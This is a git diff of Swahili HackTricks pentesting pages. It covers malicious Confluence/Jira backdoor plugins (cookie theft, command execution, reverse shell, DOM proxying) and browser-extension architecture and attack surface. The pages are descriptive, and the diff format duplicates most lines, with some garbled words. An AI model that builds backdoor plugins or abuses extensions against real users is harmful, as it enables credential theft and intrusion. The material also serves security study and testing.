Inawezekana kuona kwamba hizi plugins zinaweza kuwa na udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarejesha data iliyotolewa na mtumiaji. 
|
||||
|
||||
Mara XSS inapopatikana, katika [**hii github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) unaweza kupata baadhi ya payloads za kuongeza athari za XSS.
|
||||
|
||||
## Backdoor Plugin
|
||||
|
||||
[**Post hii**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) inaelezea vitendo tofauti (vibaya) ambavyo vinaweza kufanywa na plugin mbaya ya Jira. Unaweza kupata [**mfano wa code katika repo hii**](https://github.com/cyllective/malfluence).
|
||||
[**Post hii**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) inaelezea vitendo tofauti (vibaya) ambavyo vinaweza kufanywa na plugin mbaya ya Jira. Unaweza kupata [**mfano wa msimbo katika repo hii**](https://github.com/cyllective/malfluence).
|
||||
|
||||
Haya ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
|
||||
Hizi ni baadhi ya vitendo ambavyo plugin mbaya inaweza kufanya:
|
||||
|
||||
* **Kuficha Plugins kutoka kwa Wasimamizi**: Inawezekana kuficha plugin mbaya kwa kuingiza javascript ya mbele.
|
||||
* **Kuchukua Viambatisho na Kurasa**: Ruhusu kufikia na kuchukua data yote.
|
||||
* **Kuhujumu Token za Session**: Ongeza endpoint ambayo itarejelea vichwa katika jibu (pamoja na cookie) na javascript fulani ambayo itawasiliana nayo na kuvuja cookies.
|
||||
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza code.
|
||||
* **Kutoa Nyaraka na Kurasa**: Ruhusu kufikia na kutoa data yote.
|
||||
* **Kuhujumu Token za Kikao**: Ongeza mwisho ambao utaecho vichwa katika jibu (pamoja na cookie) na javascript fulani ambayo itawasiliana nayo na kutoa cookies.
|
||||
* **Kutekeleza Amri**: Bila shaka inawezekana kuunda plugin ambayo itatekeleza msimbo.
|
||||
* **Reverse Shell**: Au kupata reverse shell.
|
||||
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva ikitekeleza amri kupitia hiyo.
|
||||
* **DOM Proxying**: Ikiwa confluence iko ndani ya mtandao wa kibinafsi, itakuwa inawezekana kuanzisha muunganisho kupitia kivinjari cha mtumiaji yeyote mwenye ufikiaji wa hiyo na kwa mfano kuwasiliana na seva kutekeleza amri kupitia hiyo.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Basic Information
|
||||
|
||||
Extensions za kivinjari zimeandikwa kwa JavaScript na zinapakiwa na kivinjari kwa nyuma. Ina [DOM](https://www.w3schools.com/js/js\_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
|
||||
Extensions za kivinjari zimeandikwa kwa JavaScript na zinapakiwa na kivinjari katika hali ya nyuma. Ina [DOM](https://www.w3schools.com/js/js\_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
|
||||
|
||||
## Main Components
|
||||
|
||||
Muundo wa nyongeza unaonekana bora unapofikiriwa na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Content Scripts**
|
||||
|
||||
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na uharibifu**. Hata hivyo, script ya maudhui haina ruhusa zaidi ya uwezo wa kutuma ujumbe kwa msingi wa nyongeza.
|
||||
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na madhara**. Hata hivyo, script ya maudhui haina ruhusa zaidi ya uwezo wa kutuma ujumbe kwa msingi wa nyongeza.
|
||||
|
||||
### **Extension Core**
|
||||
|
||||
Msingi wa nyongeza unajumuisha ruhusa nyingi za nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza hauna ufikiaji wa moja kwa moja kwa mashine mwenyeji.
|
||||
Msingi wa nyongeza unajumuisha sehemu kubwa ya ruhusa/ufikiaji wa nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza haina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
|
||||
|
||||
### **Native Binary**
|
||||
|
||||
|
@ -40,12 +40,12 @@ Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa r
|
|||
### Boundaries
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ili kupata ruhusa kamili za mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la uharibifu kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia.
|
||||
Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la madhara kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia.
|
||||
{% endhint %}
|
||||
|
||||
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na msingi wa nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
|
||||
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na misingi ya nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
|
||||
|
||||
Zaidi ya hayo, scripts za maudhui ziko mbali na kurasa zao za wavuti zinazohusiana kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
|
||||
Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
|
@ -84,7 +84,7 @@ Example:
|
|||
```
|
||||
### `content_scripts`
|
||||
|
||||
Content scripts zinapakiwa kila wakati mtumiaji anapohamia kwenye ukurasa unaolingana, katika kesi yetu ukurasa wowote unaolingana na **`https://example.com/*`** na usiozingatia regex ya **`*://*/*/business*`**. Zinatekelezwa **kama vile scripts za ukurasa wenyewe** na zina ufikiaji wa kiholela kwa [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) wa ukurasa.
|
||||
Content scripts zina **pakiwa** kila wakati mtumiaji **anapohamia kwenye ukurasa unaolingana**, katika kesi yetu ukurasa wowote unaolingana na **`https://example.com/*`** na usiozingatia regex ya **`*://*/*/business*`**. Zinatekelezwa **kama vile skripti za ukurasa wenyewe** na zina ufikiaji wa kiholela kwa [Modeli ya Kitu ya Hati (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) ya ukurasa.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
|
@ -116,24 +116,24 @@ document.body.appendChild(div);
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ujumbe unatumwa kwa kurasa za nyongeza na skripti ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha skripti ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo skripti za maudhui zinaweza kuwasiliana nazo.
|
||||
Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa ubaguzi wachache. Kwa kazi zaidi ya ubaguzi haya, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kulingana na kivinjari, uwezo wa skripti za maudhui unaweza kutofautiana kidogo. Kwa kivinjari kinachotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) inatumika kama chanzo kikuu.\
|
||||
Pia ni muhimu kutambua kwamba skripti za maudhui zina uwezo wa kuwasiliana na skripti za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
|
||||
Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa kivinjari kinachotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) inatumika kama chanzo kikuu.\
|
||||
Pia ni muhimu kutambua kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
|
||||
{% endhint %}
|
||||
|
||||
Ili kuona na kufanyia kazi skripti za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Chaguo > Zana zaidi > Zana za maendeleo AU kwa kubonyeza Ctrl + Shift + I.
|
||||
Ili kuona na kurekebisha script za maudhui katika Chrome, menyu ya zana za maendeleo ya Chrome inaweza kufikiwa kutoka Chaguo > Zana zaidi > Zana za maendeleo AU kwa kubonyeza Ctrl + Shift + I.
|
||||
|
||||
Baada ya zana za maendeleo kuonyeshwa, **tab ya Chanzo** inapaswa kubonyezwa, ikifuatiwa na tab ya **Skripti za Maudhui**. Hii inaruhusu kuangalia skripti za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
|
||||
Baada ya zana za maendeleo kuonyeshwa, **tab ya Chanzo** inapaswa kubonyezwa, ikifuatiwa na tab ya **Script za Maudhui**. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
|
||||
|
||||
### Skripti za maudhui zilizowekwa
|
||||
### Script za maudhui zilizoongezwa
|
||||
|
||||
{% hint style="success" %}
|
||||
Kumbuka kwamba **Skripti za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuweka** skripti na **kuziweka kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
|
||||
Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
|
||||
{% endhint %}
|
||||
|
||||
Ili kuweka skripti ya maudhui kimaandishi, nyongeza inahitaji kuwa na [idhini za mwenyeji](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao skripti zitakazo wekwa. Idhini hizi zinaweza kupatikana kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Ili kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [idhini za mwenyeji](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakuwa zinaingizwa. Idhini hizi zinaweza kupatikana kwa **kuziomba** ndani ya hati ya nyongeza au kwa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Mfano wa nyongeza inayotegemea activeTab
|
||||
|
||||
|
@ -200,11 +200,11 @@ Ili kujumuisha au kutengwa kwa URLs zaidi, pia inawezekana kutumia **`include_gl
|
|||
|
||||
### Content Scripts `run_at`
|
||||
|
||||
Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjizwa kwenye ukurasa wa wavuti**. Thamani inayopendekezwa na ya default ni `"document_idle"`.
|
||||
Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjikwa kwenye ukurasa wa wavuti**. Thamani inayopendekezwa na ya kawaida ni `"document_idle"`.
|
||||
|
||||
Thamani zinazowezekana ni:
|
||||
|
||||
* **`document_idle`**: Wakati wowote iwezekanavyo
|
||||
* **`document_idle`**: Kadri inavyowezekana
|
||||
* **`document_start`**: Baada ya faili zozote kutoka `css`, lakini kabla ya DOM nyingine yoyote kujengwa au script nyingine yoyote kuendeshwa.
|
||||
* **`document_end`**: Mara moja baada ya DOM kukamilika, lakini kabla ya rasilimali ndogo kama picha na fremu kupakiwa.
|
||||
|
||||
|
@ -235,19 +235,19 @@ js : [ "contentScript.js" ],
|
|||
```
|
||||
### `background`
|
||||
|
||||
Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, ambayo ina jukumu kuu katika kuratibu vipengele vya nyongeza. Kwa kuzingatia, background page inadumu wakati wa maisha ya nyongeza, ikifanya kazi kwa siri bila mwingiliano wa moja kwa moja na mtumiaji. Ina Document Object Model (DOM) yake mwenyewe, ikiruhusu mwingiliano tata na usimamizi wa hali.
|
||||
Meseji zinazotumwa na scripts za maudhui zinapokelewa na **ukurasa wa nyuma**, ambao unachukua jukumu kuu katika kuratibu vipengele vya nyongeza. Kwa kuzingatia, ukurasa wa nyuma unadumu wakati wote wa maisha ya nyongeza, ukifanya kazi kwa siri bila mwingiliano wa moja kwa moja na mtumiaji. Una Modeli ya Kitu ya Hati (DOM) yake, ikiruhusu mwingiliano tata na usimamizi wa hali.
|
||||
|
||||
**Mambo Muhimu**:
|
||||
|
||||
* **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
|
||||
* **Jukumu la Ukurasa wa Nyuma:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
|
||||
* **Uendelevu:** Ni kiumbe kilichopo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
|
||||
* **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza.
|
||||
* **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki ukurasa wa nyuma. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za nyuma zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji wa bila mshono wa kazi za nyuma za nyongeza.
|
||||
|
||||
{% hint style="success" %}
|
||||
Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kuwa scripts zote muhimu za background zimejumuishwa na zinafanya kazi, zikifanya mchakato wa kuweka nyongeza kuwa rahisi.
|
||||
Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki ukurasa wa nyuma (wakati haujafafanuliwa wazi) unahakikisha kuwa scripts zote muhimu za nyuma zimeunganishwa na zinafanya kazi, zikifanya mchakato wa kuweka nyongeza kuwa rahisi.
|
||||
{% endhint %}
|
||||
|
||||
Mfano wa script ya background:
|
||||
Mfano wa script ya nyuma:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
||||
{
|
||||
|
@ -267,22 +267,22 @@ Ili kubaini makosa katika skripti ya nyuma unaweza kwenda kwenye **maelezo ya ny
|
|||
|
||||
Nyongeza za kivinjari zinaweza kuwa na aina mbalimbali za kurasa:
|
||||
|
||||
* **Kurasa za hatua** zinaonyeshwa katika **orodha ya kushuka wakati ikoni ya nyongeza** inabonyezwa.
|
||||
* **Kurasa za Kitendo** zinaonyeshwa katika **orodha ya kushuka wakati ikoni ya nyongeza** inabonyezwa.
|
||||
* Kurasa ambazo nyongeza it **pakia katika tab mpya**.
|
||||
* **Kurasa za Chaguo**: Ukurasa huu unaonyeshwa juu ya nyongeza wakati unabonyezwa. Katika hati ya awali Katika kesi yangu niliweza kufikia ukurasa huu katika `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` au kubonyeza:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia maudhui kwa njia ya kidinamikali kulingana na mahitaji. Licha ya hili, zinashiriki uwezo fulani na ukurasa wa nyuma:
|
||||
Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia maudhui kwa mahitaji. Licha ya hili, zinashiriki uwezo fulani na ukurasa wa nyuma:
|
||||
|
||||
* **Mawasiliano na Skripti za Maudhui:** Kama ilivyo kwa ukurasa wa nyuma, kurasa hizi zinaweza kupokea ujumbe kutoka kwa skripti za maudhui, kurahisisha mwingiliano ndani ya nyongeza.
|
||||
* **Upatikanaji wa APIs za Maalum za Nyongeza:** Kurasa hizi zinafurahia upatikanaji mpana wa APIs maalum za nyongeza, kulingana na ruhusa zilizofafanuliwa kwa nyongeza.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na **katika kurasa zipi za wavuti**.
|
||||
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na katika **kurasa zipi za wavuti**.
|
||||
|
||||
Kama nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
|
||||
Kama nyongeza za kivinjari zinaweza kuwa **na mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
|
||||
|
||||
Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika:
|
||||
|
||||
|
@ -292,7 +292,7 @@ Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya k
|
|||
|
||||
### `content_security_policy`
|
||||
|
||||
**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **hatari**.
|
||||
**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **na udhaifu**.
|
||||
|
||||
Mipangilio ya default kwa kurasa za nyongeza za kivinjari ni ya kukatisha tamaa:
|
||||
```bash
|
||||
|
@ -306,7 +306,7 @@ Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia:
|
|||
|
||||
### `web_accessible_resources`
|
||||
|
||||
ili ukurasa wa wavuti uweze kufikia ukurasa wa Kiongezeo cha Kivinjari, ukurasa wa `.html` kwa mfano, ukurasa huu unahitaji kutajwa katika uwanja wa **`web_accessible_resources`** wa `manifest.json`.\
|
||||
ili kuruhusu ukurasa wa wavuti kufikia ukurasa wa Kiongezeo cha Kivinjari, ukurasa wa `.html` kwa mfano, ukurasa huu unahitaji kutajwa katika uwanja wa **`web_accessible_resources`** wa `manifest.json`.\
|
||||
Kwa mfano:
|
||||
```javascript
|
||||
{
|
||||
|
@ -335,7 +335,7 @@ Katika nyongeza za umma, **extension-id inapatikana**:
|
|||
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya dinamik**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **ulindwa dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji kuangalia pia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
|
||||
Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji kuangalia pia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
|
||||
{% endhint %}
|
||||
|
||||
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**:
|
||||
|
@ -356,9 +356,9 @@ Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika *
|
|||
|
||||
### `externally_connectable`
|
||||
|
||||
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), mali ya `"externally_connectable"` ya manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zipi zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
* Ikiwa ufunguo wa **`externally_connectable`** **haujaelezwa** katika manifest ya nyongeza yako au umeelezwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
|
||||
* Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
|
||||
* Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tu programu hizo** zinaweza kuungana.
|
||||
* Ikiwa **mifano** imeelezwa, programu hizo za wavuti zitakuwa na uwezo wa kuungana:
|
||||
```json
|
||||
|
@ -371,24 +371,24 @@ Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/m
|
|||
**Idadi ndogo ya nyongeza na URL** zilizoorodheshwa hapa, **uso wa shambulio** utakuwa mdogo.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ikiwa ukurasa wa wavuti **unaotetereka kwa XSS au takeover** umeonyeshwa katika **`externally_connectable`**, mshambuliaji ataweza **kutuma ujumbe moja kwa moja kwa skripti ya nyuma**, akipita kabisa Skripti ya Maudhui na CSP yake.
|
||||
Ikiwa ukurasa wa wavuti **unaoshambuliwa na XSS au takeover** umeonyeshwa katika **`externally_connectable`**, mshambuliaji ataweza **kutuma ujumbe moja kwa moja kwa script ya nyuma**, akipita kabisa Script ya Maudhui na CSP yake.
|
||||
|
||||
Hivyo, hii ni **kikosi cha kupita nguvu sana**.
|
||||
|
||||
Zaidi ya hayo, ikiwa mteja ataweka nyongeza ya uongo, hata kama hairuhusiwi kuwasiliana na nyongeza inayotetereka, inaweza kuingiza **data za XSS katika ukurasa wa wavuti ulio ruhusiwa** au kutumia **`WebRequest`** au **`DeclarativeNetRequest`** APIs kudhibiti maombi kwenye kikoa kilicholengwa kubadilisha ombi la ukurasa kwa **faili ya JavaScript**. (Kumbuka kwamba CSP kwenye ukurasa ulio kwenye lengo inaweza kuzuia mashambulizi haya). Wazo hili linatokana na [**hiki andiko**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
Zaidi ya hayo, ikiwa mteja ataweka nyongeza ya uongo, hata kama hairuhusiwi kuwasiliana na nyongeza iliyo hatarini, inaweza kuingiza **data za XSS katika ukurasa wa wavuti ulio ruhusiwa** au kutumia **`WebRequest`** au **`DeclarativeNetRequest`** APIs kudhibiti maombi kwenye kikoa kilicholengwa kubadilisha ombi la ukurasa kwa **faili ya JavaScript**. (Kumbuka kwamba CSP kwenye ukurasa ulio hatarini inaweza kuzuia mashambulizi haya). Wazo hili linatokana na [**hiki andiko**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
{% endhint %}
|
||||
|
||||
## Muhtasari wa mawasiliano
|
||||
|
||||
### Nyongeza <--> WebApp
|
||||
|
||||
Ili kuwasiliana kati ya skripti ya maudhui na ukurasa wa wavuti, ujumbe wa baada ya kawaida hutumiwa. Hivyo, katika programu ya wavuti mara nyingi utapata simu za kazi **`window.postMessage`** na katika skripti ya maudhui wasikilizaji kama **`window.addEventListener`**. Tafadhali kumbuka, hata hivyo, kwamba nyongeza inaweza pia **kuwasiliana na programu ya wavuti ikituma Ujumbe wa Post** (na hivyo wavuti inapaswa kuutarajia) au tu kufanya wavuti ipakue skripti mpya.
|
||||
Ili kuwasiliana kati ya script ya maudhui na ukurasa wa wavuti, ujumbe wa baada ya kawaida hutumiwa. Hivyo, katika programu ya wavuti mara nyingi utapata simu za kazi **`window.postMessage`** na katika script ya maudhui wasikilizaji kama **`window.addEventListener`**. Tafadhali kumbuka, hata hivyo, kwamba nyongeza inaweza pia **kuwasiliana na programu ya wavuti ikituma Ujumbe wa Post** (na hivyo wavuti inapaswa kutarajia) au tu kufanya wavuti ipakue script mpya.
|
||||
|
||||
### Ndani ya nyongeza
|
||||
|
||||
